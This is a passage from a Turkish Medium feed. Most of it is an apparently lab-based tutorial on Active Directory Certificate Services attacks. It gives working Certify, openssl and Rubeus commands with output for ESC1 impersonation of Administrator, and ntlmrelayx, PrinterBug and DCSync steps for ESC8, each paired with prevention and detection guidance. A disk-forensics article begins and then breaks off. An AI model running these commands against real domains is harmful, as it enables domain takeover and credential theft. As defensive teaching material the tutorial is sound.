kimlik bilgilerinin description alanında açığa çıktığı bir kullanıcı. Hesaba ACL’lerin atanmış olması, bir düşmanı, hesabın açığa çıkan parolasının geçerli olup olmadığını denemeye ve doğrulamaya <strong>kışkırtabilir</strong>, çünkü bu <strong>yüksek potansiyele</strong> sahiptir.</p><p><strong>2) Herkesin veya birçok kullanıcının değiştirebileceği bir hesaba sahip olun.</strong> Bu kullanıcı ideal olarak, <strong>gerçek kullanıcıları taklit etmek için bir miktar aktiviteye sahip</strong> bir honeypot kullanıcısı olacaktır. Bu honeypot kullanıcı üzerinde meydana gelen <strong>herhangi bir değişiklik kötü niyetlidir</strong>, çünkü onun üzerinde herhangi bir eylem gerçekleştirmek için <strong>geçerli bir neden yoktur</strong> (hesabı gerçekçi göstermek için parolasını periyodik olarak sıfırlaması gerekebilecek yöneticiler hariç). Bu nedenle, honeypot kullanıcı ile ilişkili <strong>herhangi bir Event ID 4738</strong>, bir <strong>alarmı tetiklemelidir.</strong> Ayrıca, <strong>olgun organizasyonlar</strong>, değişikliği gerçekleştiren kullanıcıyı <strong>anında devre dışı bırakabilir</strong> ve kaynak cihaz üzerinde bir <strong>adli inceleme (forensic investigation)</strong> başlatabilir.</p><p><strong>Tamlık adına</strong>, infa/mdr örneğine geri dönersek, mdr’nin hesabındaki bir değişiklik şu şekilde tespit edilirdi:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ri6rYJI4E_rlAQmvPHyKuA.png" /></figure><h3>BÖLÜM 15: PKI — ESC1</h3><h4>Açıklama (Description)</h4><p><strong>SpectreOps</strong>, <strong>“Certified Pre-Owned”</strong> araştırma makalesini yayınladıktan sonra, <strong>Active Directory Certificate Services (AD CS)</strong>, birçok nedenden dolayı tehdit aktörleri için <strong>en favori saldırı vektörlerinden biri</strong> haline geldi, bunlar arasında:</p><ol><li><strong>Kimlik doğrulama için sertifika kullanmanın</strong>, normal kullanıcı adı/parola kimlik bilgilerine göre <strong>daha fazla avantajı</strong> vardır.</li><li><strong>Çoğu PKI sunucusu</strong>, SpectreOps tarafından keşfedilen sekiz saldırıdan <strong>en az birine karşı yanlış yapılandırılmış/savunmasızdır</strong> (o zamandan beri çeşitli araştırmacılar daha fazla saldırı keşfetti).</li></ol><p>Sertifikaları kullanmanın ve <strong>Certificate Authority’yi (CA)</strong> ele geçirmenin <strong>çok sayıda avantajı</strong> vardır:</p><ul><li><strong>Kullanıcı ve makine sertifikaları 1+ yıl geçerlidir.</strong></li><li><strong>Bir kullanıcı parolasını sıfırlamak sertifikayı geçersiz kılmaz.</strong> Sertifikalarla, bir kullanıcının parolasını kaç kez değiştirdiği önemli değildir; sertifika hâlâ geçerli olacaktır (süresi dolmadıkça veya iptal edilmedikçe).</li><li><strong>Yanlış yapılandırılmış şablonlar</strong>, herhangi bir kullanıcı için sertifika elde etmeye izin verir.</li><li><strong>CA’nın özel anahtarını ele geçirmek</strong>, <strong>Golden Certificate’lar (Altın Sertifikalar)</strong> sahtekarlığıyla sonuçlanır.</li></ul><p>Bu avantajlar, sertifikaları <strong>uzun vadeli kalıcılık (persistence)</strong> için tercih edilen yöntem haline getirir. SpectreOps sekiz yetki yükseltme tekniğini açıklarken, biz <strong>nasıl çalıştığını göstermek için ilkini, ESC1&#39;i</strong> inceleyeceğiz. ESC1&#39;in açıklaması:</p><blockquote><strong><em>No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT</em></strong><em> aracılığıyla domain yetki yükseltmesi.</em></blockquote><h4>Saldırı (Attack)</h4><p><strong>Adım 1 — PKI altyapısındaki savunmasızlıkları taramak için Certify’ı kullanma:</strong></p><p>Başlamak için, PKI altyapısındaki savunmasızlıkları taramak için <strong>Certify</strong>’ı kullanacağız:</p><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; .\Certify.exe find /vulnerable</pre><p><strong>Çıktı:</strong></p><pre>[*] Action: Find certificate templates</pre><pre>[*] Using the search base &#39;CN=Configuration,DC=krysathal,DC=local&#39;<br>[*] Listing info about the Enterprise CA &#39;krysathal-PKI-CA&#39;</pre><pre>Enterprise CA Name                : krysathal-PKI-CA<br>DNS Hostname                      : PKI.krysathal.local<br>FullName                          : PKI.krysathal.local\krysathal-PKI-CA<br>Flags                             : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED<br>Cert SubjectName                  : CN=krysathal-PKI-CA, DC=krysathal, DC=local<br>Cert Thumbprint                   : 7C59C4910A1C853128FE12C17C2A54D93D1EECAA<br>Cert Serial                       : 780E7B38C053CCAB469A33CFAAAB9ECE<br>Cert Start Date                   : 09/08/2026 14.07.25<br>Cert End Date                     : 09/08/2522 14.17.25<br>Cert Chain                        : CN=krysathal-PKI-CA,DC=krysathal,DC=local<br>UserSpecifiedSAN                  : Disabled<br>CA Permissions                    :<br>    Owner: BUILTIN\Administrators            S-1-5-32-544</pre><pre>    Access Rights                                           Principal</pre><pre>    Allow   Enroll                                          NT AUTHORITY\Authenticated Users   S-1-5-11<br>    Allow   ManageCA, ManageCertificates                    BUILTIN\Administrators             S-1-5-32-544<br>    Allow   ManageCA, ManageCertificates                    KRYSATHAL\Domain Admins            S-1-5-21-1518138621-4282902758-752445584-512<br>    Allow   ManageCA, ManageCertificates                    KRYSATHAL\Enterprise Admins        S-1-5-21-1518138621-4282902758-752445584-519</pre><pre>Enrollment Agent Restrictions : None<br>[!] Vulnerable Certificates Templates :</pre><pre>CA Name                                      : PKI.krysathal.local\krysathal-PKI-CA<br>Template Name                                : UserCert<br>Schema Version                               : 4<br>Validity Period                              : 10 years<br>Renewal Period                               : 6 weeks<br>msPKI-Certificates-Name-Flag                 : ENROLLEE_SUPPLIES_SUBJECT<br>mspki-enrollment-flag                        : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS<br>Authorized Signatures Required               : 0<br>pkiextendedkeyusage                          : Client Authentication, Encrypting File System, Secure Email, Smart Card Log-on<br>mspki-certificate-application-policy         : Client Authentication, Encrypting File System, Secure Email, Smart Card Log-on<br>Permissions<br>    Enrollment Permissions<br>      Enrollment Rights              : KRYSATHAL\Domain Admins              S-1-5-21-1518138621-4282902758-752445584-512<br>                                        KRYSATHAL\Domain Users                S-1-5-21-1518138621-4282902758-752445584-513<br>                                        KRYSATHAL\Enterprise Admins           S-1-5-21-1518138621-4282902758-752445584-519<br>      Object Control Permissions<br>        Owner                               : KRYSATHAL\Administrator                    S-1-5-21-1518138621-4282902758-752445584-500<br>        WriteOwner Principals               : KRYSATHAL\Administrator                    S-1-5-21-1518138621-4282902758-752445584-500<br>                                               KRYSATHAL\Domain Admins                   S-1-5-21-1518138621-4282902758-752445584-512<br>                                               KRYSATHAL\Enterprise Admins               S-1-5-21-1518138621-4282902758-752445584-519<br>        WriteDacl Principals                : KRYSATHAL\Administrator                    S-1-5-21-1518138621-4282902758-752445584-500<br>                                               KRYSATHAL\Domain Admins                   S-1-5-21-1518138621-4282902758-752445584-512<br>                                               KRYSATHAL\Enterprise Admins               S-1-5-21-1518138621-4282902758-752445584-519<br>        WriteProperty Principals            : KRYSATHAL\Administrator                    S-1-5-21-1518138621-4282902758-752445584-500<br>                                               KRYSATHAL\Domain Admins                   S-1-5-21-1518138621-4282902758-752445584-512<br>                                               KRYSATHAL\Enterprise Admins               S-1-5-21-1518138621-4282902758-752445584-519<br>Certify completed in 00:00:00.9120044</pre><p><strong>Certify çıktısındaki “Vulnerable Certificate Templates” bölümüne baktığımızda</strong>, hakkında çok fazla bilgi olan <strong>tek bir şablon</strong> listelendiğini göreceğiz. Ortamdaki CA’nın adının <strong>PKI.kersthal.local\kersthal-PKI-CA</strong> olduğunu ve savunmasız şablonun <strong>UserCert</strong> olarak adlandırıldığını söyleyebiliriz. Şablon şu nedenlerle savunmasızdır:</p><ul><li><strong>Tüm Domain kullanıcıları</strong> bu şablonda bir sertifika talep edebilir.</li><li><strong>CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT</strong> bayrağı mevcuttur, bu da talep edenin <strong>SAN&#39;ı belirtmesine</strong> izin verir (bu nedenle, herhangi bir kullanıcı, ayrıcalıklılar dahil, ağdaki <strong>herhangi bir başka kullanıcı olarak</strong> sertifika talep edebilir).</li><li><strong>Yönetici onayı gerekli değildir</strong> (sertifika, onay olmadan talepten hemen sonra verilir).</li><li>Sertifika <strong>‘Client Authentication’ için kullanılabilir</strong> (giriş/kimlik doğrulama için kullanabiliriz).</li></ul><p><strong>Adım 2 — Şablonu istismar etme:</strong></p><p>Bu şablonu kötüye kullanmak için, <strong>Certify’ı kullanacağız</strong> ve CA’nın tam adını, savunmasız şablonun adını ve bir kullanıcının adını (örneğin, <strong>Administrator</strong>) belirterek <strong>request</strong> argümanını geçireceğiz:</p><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; .\Certify.exe request /ca:PKI.krysathal.local\krysathal-PKI-CA /template:UserCert /altname:Administrator</pre><p><strong>Çıktı:</strong></p><pre>[*] Action: Request a Certificates</pre><pre>[*] Current user context             : KRYSATHAL\infa<br>[*] No subject name specified, using current context as subject.<br>[*] Template                         : UserCert<br>[*] Subject                          : CN=infa, OU=KrysathalUsers, DC=krysathal, DC=local<br>[*] AltName                          : Administrator</pre><pre>[*] Certificate Authority            : PKI.krysathal.local\krysathal-PKI-CA</pre><pre>[*] CA Response                      : The certificate had been issued.<br>[*] Request ID                       : 36</pre><pre>[*] cert.pem :</pre><pre>-----BEGIN RSA PRIVATE KEY-----<br>MIIE...<br>&lt;SNIP&gt;<br>&lt;SNIP&gt;<br>wgP7EwPpxHKOrlZr6H+5lS58u/9EuIgdSk1X3VWuZvWRdjL15ovn<br>-----END RSA PRIVATE KEY-----<br>-----BEGIN CERTIFICATE-----<br>MIIGLzCCBRegAwIBAgITFgAAACx6zV6bbfN1ZQAAAAAALDANBgkqhkiG9w0BAQsF<br>&lt;SNIP&gt;<br>&lt;SNIP&gt;<br>eVAB<br>-----END CERTIFICATE-----</pre><pre>[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP &quot;Microsoft Enhanced Cryptographic Provider v1.0&quot; -export -out cert.pfx</pre><pre>Certify completed in 00:00:15.8803493</pre><p><strong>Adım 3 — Sertifikayı PFX formatına dönüştürme:</strong></p><p>Saldırı bittiğinde, <strong>başarıyla bir sertifika elde edeceğiz.</strong> Komut bir <strong>PEM sertifikası</strong> üretir ve bunu <strong>base64</strong> olarak görüntüler. PEM sertifikasını <strong>PFX formatına</strong> dönüştürmemiz gerekiyor; bunu Certify çıktısında belirtilen komutu çalıştırarak yaparız (parola sorulduğunda, herhangi bir parola sağlamadan Enter’a basın), ancak güvenli tarafta olmak için, önce PEM dosyasının <strong>kötü formatlanmasını önlemek</strong> için aşağıdaki komutu çalıştıralım:</p><pre>sed -i &#39;s/\s\s\+/\n/g&#39; cert.pem</pre><p>Ardından Certify’ın çıktısında belirtilen <strong>openssl komutunu</strong> çalıştırabiliriz:</p><pre>openssl pkcs12 -in cert.pem -keyex -CSP &quot;Microsoft Enhanced Cryptographic Provider v1.0&quot; -export -out cert.pfx</pre><p><strong>Adım 4 — Sertifikayı kullanarak TGT talep etme:</strong></p><p>Artık sertifikayı <strong>kullanılabilir PFX formatında</strong> (Rubeus’un desteklediği) elde ettiğimize göre, <strong>Administrator hesabı için bir Kerberos TGT talep edebilir</strong> ve sertifika ile kimlik doğrulayabiliriz:</p><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; .\Rubeus.exe asktgt /domain:krysathal.local /user:Administrator /certificate:cert.pfx /dc:dc1.krysathal.local /ptt</pre><p><strong>Çıktı:</strong></p><pre>[*] Action: Ask TGT</pre><pre>[*] Using PKINIT with etype rc4_hmac and subject: CN=infa, OU=KrysathalUsers, DC=krysathal, DC=local<br>[*] Building AS-REQ (w/ PKINIT preauth) for: &#39;krysathal.local\Administrator&#39;<br>[+] TGT request successful!</pre><pre>[*] base64(ticket.kirbi):</pre><pre>doIGVjCCBlKgAwIBBaEDAgEWooIFaTCCBWVhggVhMIIFXaADAgEFoQ0bC0VBR0xFLkxPQ0FMoi<br>AwHqAD<br>[...]<br>[+] Ticket successfully imported!</pre><pre>    ServiceName                    :    krbtgt/krysathal.local<br>    ServiceRealm                   :    KRYSATHAL.LOCAL<br>    UserName                       :    Administrator<br>    UserRealm                      :    KRYSATHAL.LOCAL<br>    StartTime                      :    14/09/2026 21.04.53<br>    EndTime                        :    20/09/202607.04.53<br>    RenewTill                      :    26/09/2026 21.04.53<br>    Flags                          :    name_canonicalize, pre_authent, initial, renewable, forwardable<br>    KeyType                        :    rc4_hmac<br>    Base64(key)                    :    KQTCgNhj3sh4yXvrBwTfeg==<br>    ASREP (key)                    :    2EB79553702442F11E93044E3C915490</pre><p><strong>Adım 5 — Başarılı kimlik doğrulama sonrası DC1&#39;e erişme:</strong></p><p><strong>Başarılı kimlik doğrulama sonrası</strong>, DC1&#39;deki <strong>C$ paylaşımının içeriğini listeleyebileceğiz:</strong></p><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; dir \\dc1\c$</pre><pre>    Directory: \\dc1\c$</pre><pre>Mode                  LastWriteTime          Length Name<br>----                  -------------          ------ ----<br>d-----            9/15/2026   6:30 PM                   DFSReports<br>d-----            9/13/2026  11:23 PM                   Mimikatz<br>d-----             9/1/2026   9:49 PM                   PerfLogs<br>d-r---            9/28/2026  10:59 AM                   Program Files<br>d-----             9/1/2026   2:02 PM                   Program Files (x86)<br>d-----            9/13/2026  11:22 AM                   scripts<br>d-r---             9/7/2026   9:31 PM                   Users<br>d-----            9/28/2026  11:27 AM                   Windows</pre><h4>Önleme (Prevention)</h4><p>Eğer sertifika şablonunda <strong>CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT</strong> bayrağı etkin olmasaydı, saldırı mümkün olmazdı. Bu saldırıyı engellemenin başka bir yöntemi de, sertifikaların verilmesinden önce <strong>CA sertifika yöneticisi onayını gerekli kılmaktır</strong>; bu, potansiyel olarak tehlikeli şablonlardaki hiçbir sertifikanın <strong>manuel onay olmadan</strong> verilmemesini sağlar (bu, umarız talebin meşru bir kullanıcıdan kaynaklandığı ile ilişkilendirilir).</p><p><strong>Birçok farklı yetki yükseltme tekniği olduğu için</strong>, ortamı düzenli olarak <strong>Certify veya benzer araçlarla</strong> tarayarak potansiyel PKI sorunlarını bulmak <strong>şiddetle tavsiye edilir.</strong></p><h4>Tespit (Detection)</h4><p><strong>CA sertifika ürettiğinde</strong>, iki event loglanacaktır: biri <strong>alınan talep</strong> için, diğeri (başarılı olursa) <strong>verilen sertifika</strong> için. Bu event’ler aşağıda gösterildiği gibi <strong>4886</strong> ve <strong>4887</strong> ID’lerine sahiptir:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*AAyl7XxqOn_kCNlp3rWjZA.png" /></figure><p><strong>Ne yazık ki, yalnızca infa’nın WS001&#39;den bir sertifika talep ettiğini söyleyebiliriz; talebin SAN’ı belirtip belirtmediğini bilemeyiz.</strong></p><p><strong>CA, verilen tüm sertifikaların bir listesini içerir</strong>, bu yüzden oraya bakarsak, <strong>sertifika ID 36</strong> için talebi göreceğiz (yukarıdaki saldırı senaryosundan olan):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KhhBADtJFoHPvXNd23Nag.png" /></figure><p><strong>GUI aracının genel görünümü de SAN’ı göstermez</strong>, ancak savunmasız şablon aracılığıyla bir sertifikanın verildiğini söyleyebiliriz. <strong>SAN bilgisini bulmak istersek</strong>, sertifikanın kendisini açmamız gerekecek:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*AMPBdD2JP_ijq7CdtUPetA.png" /></figure><p><strong>Bunu programatik olarak görüntülemenin de bir yolu vardır</strong>: <strong>certutil -view</strong> komutu, CA üzerindeki her şeyi, her sertifika hakkındaki tüm bilgilerle birlikte döker (büyük bir ortamda bu <strong>devasa</strong> olabilir):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D4sU_iQNv35YylJucL2OqA.png" /></figure><p><strong>Biraz script yazarak, tehdit aktörleri tarafından kötüye kullanılan savunmasız şablonların ayrıştırılmasını ve keşfini otomatikleştirebiliriz.</strong></p><p><strong>Son olarak, hatırlarsanız</strong>, saldırıda elde edilen sertifikayı kimlik doğrulama için kullandık ve bir TGT elde ettik; AD bu talebi <strong>Event ID 4768</strong> ile loglayacaktır, bu event özellikle <strong>sertifika ile giriş girişimi hakkında bilgi</strong> içerecektir:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oplJ98uXIQA6b4BLZWtfJQ.png" /></figure><p><strong>Not: Event 4886 ve 4887, Domain Controller’da değil, sertifikayı veren makinede üretilecektir.</strong> GUI erişimi mevcut değilse, <strong>PSSession’ı</strong> kullanarak PKI makinesiyle etkileşime geçebiliriz ve <strong>Get-WinEvent</strong> cmdlet&#39;ini kullanarak event&#39;leri arayabiliriz:</p><pre>C:\Users\infa\Downloads&gt;runas /user:krysathal\htb-student powershell</pre><pre>Enter the password for krysathal\htb-student:<br>Attempting to start powershell as user &quot;krysathal\htb-student&quot;</pre><p>powershell</p><pre>PS C:\WINDOWS\system32&gt; New-PSSession PKI<br> Id Name                 ComputerName       ComputerType        State      ConfigurationName          Availability<br> <br>  4 WinRM4               PKI                RemoteMachine       Opened     Microsoft.PowerShell          Available</pre><p>powershell</p><pre>PPS C:\WINDOWS\system32&gt; Enter-PSSession PKI<br>[PKI]: PS C:\Users\htb-student\Documents&gt; Get-WINEvent -FilterHashtable @{Logname=&#39;Security&#39;; ID=&#39;4886&#39;}</pre><pre>ProviderName: Microsoft-Windows-Security-Auditing<br>TimeCreated                           Id LevelDisplayName Message<br>9/13/2026 4:05:50 PM                4886 Information      Certificate Services received a certificate request</pre><pre>9/11/2026 1:24:02 PM                4886 Information          Certificate Services received a certificate request</pre><pre>9/11/2026 1:15:01 PM                4886 Information          Certificate Services received a certificate request</pre><p>powershell</p><pre>[PKI]: PS C:\Users\htb-student\Documents&gt; Get-WINEvent -FilterHashtable @{Logname=&#39;Security&#39;; ID=&#39;4887&#39;}</pre><pre>ProviderName: Microsoft-Windows-Security-Auditing<br>TimeCreated                           Id LevelDisplayName Message<br>9/13/2026 4:06:05 PM                4887 Information          Certificate Services approved a certificate request and</pre><pre>9/13/2026 4:06:02 PM                4887 Information          Certificate Services approved a certificate request and</pre><pre>9/11/2026 1:24:14 PM          4887 Information                Certificate Services approved a certificate request and</pre><pre>9/11/2026 1:24:14 PM                4887 Information          Certificate Services approved a certificate request and</pre><pre>9/11/2026 1:15:12 PM                4887 Information          Certificate Services approved a certificate request and</pre><p><strong>Event’lerin tam denetim (audit) günlüğünü görüntülemek için</strong>, çıktıyı <strong>Format-List</strong>&#39;e pipe&#39;layabiliriz veya event&#39;leri bir dizide saklayıp tek tek kontrol edebiliriz:</p><p>powershell</p><pre>[pki]: PS C:\Users\htb-student\Documents&gt; $events = Get-WinEvent -FilterHashtable @{Logname=&#39;Security&#39;; ID=&#39;4886&#39;}</pre><pre>[pki]: PS C:\Users\htb-student\Documents&gt; $events[0] | Format-List -Property *<br>Message                  : Certificate Services received a certificate request.</pre><pre>                        Request ID:         51<br>                        Requester:    KRYSATHAL\DC2$<br>                        Attributes:<br>                        CertificateTemplate:DomainController<br>                        ccm:PKI.krysathal.local<br>Id                        : 4886<br>Version                   : 0<br>Qualifiers                :<br>Level                     : 0<br>Task                      : 12805<br>Opcode                    : 0<br>Keywords                  : -9214364837600034816<br>RecordId                  : 21100<br>ProviderName              : Microsoft-Windows-Security-Auditing<br>ProviderId                : 54849625-5478-4994-a5ba-3e3b0328c30d<br>LogName                   : Security<br>ProcessId                 : 660<br>ThreadId                  : 772<br>MachineName               : PKI.krysathal.local<br>UserId                    :<br>TimeCreated               : 9/11/2026 1:24:02 PM<br>ActivityId                : dcf643ef-6c67-0000-6e44-f6dc676cd901<br>RelatedActivityId         :<br>ContainerLog              : Security<br>MatchedQueryIds           : {}<br>Bookmark                  : System.Diagnostics.Eventing.Reader.EventBookmark<br>LevelDisplayName          : Information<br>OpcodeDisplayName         : Info<br>TaskDisplayName           : Certification Services<br>KeywordsDisplayNames      : {Audit Success}<br>Properties                : {System.Diagnostics.Eventing.Reader.EventProperty,</pre><pre>System.Diagnostics.Eventing.Reader.EventProperty,</pre><pre>System.Diagnostics.Eventing.Reader.EventProperty}</pre><h3>BÖLÜM 15: ESC8 — NTLM Relay ile Sertifika Çalma</h3><h4>Temel Mantık</h4><p>Bu saldırı, bir <strong>Domain Controller’ı kandırıp</strong> sana bağlanmaya zorlar, sonra o bağlantıyı <strong>Certificate Authority’ye (sertifika sunucusu) yönlendirir</strong> ve DC’nin kimliğiyle bir sertifika alır. O sertifikayla da DC gibi davranıp tüm domain’i ele geçirirsin.</p><h4>Neden İşe Yarıyor?</h4><p>İki temel zayıflık üst üste geliyor:</p><ol><li><strong>ADCS web kayıt (web enrollment) arayüzü HTTPS zorunlu kılmıyor</strong> — yani kimlik doğrulama şifrelenmemiş HTTP üzerinden yapılabiliyor, bu da relay’e (ortadaki adam gibi iletme) izin veriyor.</li><li><strong>Herhangi bir domain kullanıcısı bir makineyi (DC dahil) kendisine bağlanmaya zorlayabiliyor</strong> (PrinterBug/coercing).</li></ol><h4>Saldırının Akışı</h4><p><strong>1. Dinleyiciyi kur</strong><br> Saldırgan NTLMRelayx&#39;i çalıştırır ve ona talimat verir: <em>&quot;Bana gelen her bağlantıyı Certificate Authority&#39;ye ilet ve DomainController şablonu için sertifika iste.&quot;</em></p><pre>impacket-ntlmrelayx -t http://&lt;CA-IP&gt;/certsrv/default.asp --template DomainController -smb2support --adcs</pre><p><strong>2. DC’yi zorla (PrinterBug)</strong><br> Saldırgan, hedef Domain Controller’ın Print Spooler servisindeki açığı tetikleyerek onu kendi makinesine bağlanmaya zorlar. DC bağlanırken kendi makine hesabının (DC2$) kimliğini taşır.</p><p><strong>3. Kimliği sertifikaya çevir</strong><br> NTLMRelayx, DC’nin bu bağlantısını anında CA’ya iletir. CA, “bu gerçekten DC2” diye düşünüp <strong>DC2$ adına geçerli bir sertifika verir.</strong> Artık saldırganın elinde, kriptografik olarak geçerli bir “ben DC2&#39;yim” kimlik kartı var.</p><p><strong>4. Sertifikayı giriş biletine çevir (Rubeus)</strong><br> Bu sertifika ile DC2$ hesabı için bir Kerberos TGT alınır:</p><pre>Rubeus.exe asktgt /user:DC2$ /ptt /certificate:&lt;base64-sertifika&gt;</pre><p>Artık saldırgan ağda <strong>DC2 olarak</strong> hareket edebilir.</p><p><strong>5. Tüm hash’leri çek (DCSync)</strong><br> Saldırgan bir Domain Controller gibi davrandığı için, DCSync ile Administrator dahil tüm hesapların parola hash’lerini çeker → <strong>tam domain ele geçirme.</strong></p><h4>Önleme</h4><ul><li><strong>ADCS web enrollment’ta HTTPS’i zorunlu kıl</strong> — relay’in temelini çökertir.</li><li><strong>Coercing’i engelle</strong> — DC’lerin 139/445 portlarına giden outbound bağlantılarını kısıtla (Bölüm 13&#39;teki önlemle aynı).</li><li><strong>Certify gibi araçlarla düzenli PKI taraması</strong> yap.</li></ul><h4>Tespit</h4><p>Saldırı üç ayrı iz bırakır:</p><ul><li><strong>Event 4886 / 4887</strong> → sertifika talebi ve onayı (CA üzerinde). İpucu: relay ile gelen talepte <strong>şablon adı görünür</strong>, normal DC talebinde görünmez.</li><li><strong>Event 4768</strong> → sertifika ile TGT alımı. İpucu: giriş <strong>sertifika ile</strong> yapılmış ve IP adresi DC’nin değil.</li><li><strong>Event 4624</strong> → DCSync sırasında başarılı giriş. İpucu: yine <strong>yanlış/beklenmedik IP adresi.</strong></li></ul><p><strong>Ortak tespit mantığı:</strong> Çekirdek sunucuların (DC, CA) giriş yaptığı IP adresleri statik ve bilinmelidir. Beklenmedik bir IP’den gelen DC kimlik doğrulaması = alarm.</p><p><strong>Bu dokümanın siber güvenlik alanında kendini geliştirmek isteyen herkese faydalı bir kaynak olmasını umuyorum. Okuduğunuz, uyguladığınız ve öğrendiğiniz her adımın sizlere yeni bir bakış açısı kazandırması dileğiyle. Katkı ve geri bildirimleriniz her zaman değerlidir.</strong></p><h4>Güvende Kalın, Siberde Kalın.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43899022ceaf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Adli Bilişimde Disk Analizi]]></title>
            <link>https://medium.com/@kurtkaan/adli-bili%C5%9Fimde-disk-analizi-49e0015047b4?source=rss-38b56ee03f4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/49e0015047b4</guid>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cyber-analyst]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ömer Kaan Kurt]]></dc:creator>
            <pubDate>Tue, 19 May 2026 16:56:28 GMT</pubDate>
            <atom:updated>2026-05-19T16:56:28.053Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*Bc5HGR_eC4fWHBVqTR5meQ.png" /></figure><h4>Bir Disk İmajı Her Şeyi Anlatır: Adli Bilişimde Disk Analizi:</h4><p>Bir sisteme el konulduğunu düşünün. Elinizde sadece bir disk imajı var. Kullanıcı adını bilmiyorsunuz, şifreyi bilmiyorsunuz, o makinede neler döndüğüne dair de bir fikriniz yok. Ama disk biliyor. Üzerinde gerçekleşmiş hemen her işlemin izini bir yerlerde tutuyor. Disk analizinin adli bilişimde bu kadar merkezi olmasının sebebi tam da bu. Doğru araçla doğru yere baktığınızda bir sistemin geçmişini büyük ölçüde geri kurabilirsiniz; silinmiş dosyalar, gizlenmeye çalışılmış araçlar, üstü örtülmek istenmiş bağlantılar. Ama işin bu kısmına gelmeden önce daha basit bir soruyu yanıtlamak lazım: o diski analiz etmeden önce nasıl elde ediyoruz?</p><p><strong>Adli İmaj Nedir?:</strong> Adli bilişimin temel kuralı tek cümleyle özetlenebilir: orijinal delile asla doğrudan dokunma. Bir hard disk, telefon ya da taşınabilir medya üzerindeki veriyi incelemeden önce o verinin birebir kopyasını almak gerekir. Bu kopyaya adli imaj deniyor. Burada kastedilen şey sıradan bir kopyalama değil. Dosya gezgininde sağ tıklayıp “kopyala” dediğinizde yalnızca aktif dosyalar taşınır; gerisi gelmez. Adli imaj ise cihazın fiziksel başından sonuna kadar her biti içine alır. Silinmiş dosyalar, boş alanlar, dosya sistemi meta verileri, hatta boot sektörü; hepsi imajın içindedir. Yöntemin bir diğer adı da bundan geliyor: fiziksel imaj, ya da bit-to-bit kopya. Peki bu kopyanın orijinalle aynı olduğunu nasıl ispatlarsınız? Hash değerleriyle. MD5 ya da SHA-256 gibi algoritmalar diskteki bütün veriden matematiksel bir özet üretir, bir tür dijital parmak izi. Kaynak diskin hash’i ile imajın hash’i birbirini tutuyorsa kopya birebir aynıdır. Tek bir bit bile değişse bu değer baştan aşağı farklılaşır, dolayısıyla hash karşılaştırması delil bütünlüğünün elinizdeki en güçlü kanıtıdır. Bu adımın atlandığı bir incelemede mahkemede “bu disk analiz sırasında değiştirilmiş olabilir” itirazı gelir ve ne kadar düzgün çalışmış olursanız olun delil tartışmalı hale gelir. O yüzden hash hesaplamak tercihe bağlı bir ayrıntı değil.</p><h4><strong>Disk Türleri</strong></h4><p>Karşınıza çıkacak diskler hep aynı yapıda olmaz, ve bu fark analiz yaklaşımınızı doğrudan etkiler. Manyetik diskler (HDD) veriyi dönen bir plakadaki manyetik katmana yazar. Bir dosyayı sildiğinizde aslında pek bir şey silinmez; sadece dizin girdisi kaldırılır, verinin fiziksel olarak durduğu sektörlere dokunulmaz. Bu yüzden HDD’de silinmiş veriyi geri getirmek görece kolaydır. SSD’lerde ise işler karışıyor. SSD’ler NAND flash bellek kullanır, yazma işlemini sayfa düzeyinde yapar ama silmeyi blok düzeyinde gerçekleştirir. Üstelik TRIM komutu aktifse işletim sistemi silinen blokları sürücüye bildirir, sürücü de o alanları kısa sürede temizler. Sonuçta bir SSD’de silinmiş veri kurtarımı HDD’ye göre çok daha zor, çoğu zaman da imkânsız. SSD analiz ediyorsanız bu ihtimali baştan kabullenmek gerekiyor. Bir de sanallaştırma var, ki artık sık karşılaşılan bir durum. VMware gibi platformlarda disk .vmdk dosyası olarak tutulur. Burada izlenecek yol sistemi askıya almak, snapshot almak ve .vmdk dosyasını incelemektir. AWS gibi bulut tarafında ise EBS Snapshot üzerinden görüntü alınır ve başka bir instance’a bağlanarak incelenir. Fiziksel bir USB takıp imaj almak kadar el alışkanlığı gerektirmese de değişen bir şey yok: orijinale dokunma, kopya üzerinde çalış.</p><h4><strong>Write Blocker</strong></h4><p>İmaj almadan önce çoğu zaman atlanan bir adım var: write blocker. Kaynak diski bir bilgisayara doğrudan taktığınızda ne olur? İşletim sistemi cihazı tanır, büyük ihtimalle otomatik bağlar, dosya erişim zamanlarını günceller, indeksleme servisleri arka planda çalışmaya başlar, hatta küçük sistem dosyaları yazılır. Tek tek bakıldığında önemsiz görünen bu müdahaleler delil bütünlüğünü bozar. Donanımsal write blocker kaynak cihaza giden yazma komutlarını fiziksel olarak keser. Disk bağlıdır, okunabilir, ama üzerine tek bir bit bile yazılamaz. Adli süreçlerde donanımsal çözüm yazılımsal olana tercih edilir, çünkü hatasız çalıştığı bağımsız olarak doğrulanabilir. Donanımsal bir write blocker yoksa Linux’ta yazılımsal koruma da iş görür:</p><pre>sudo hdparm-r1 /dev/sdb # Salt okunur moda al<br>sudo hdparm-r /dev/sdb # Doğrula: &quot;readonly = 1&quot; çıktısını görmeli</pre><p>Burada 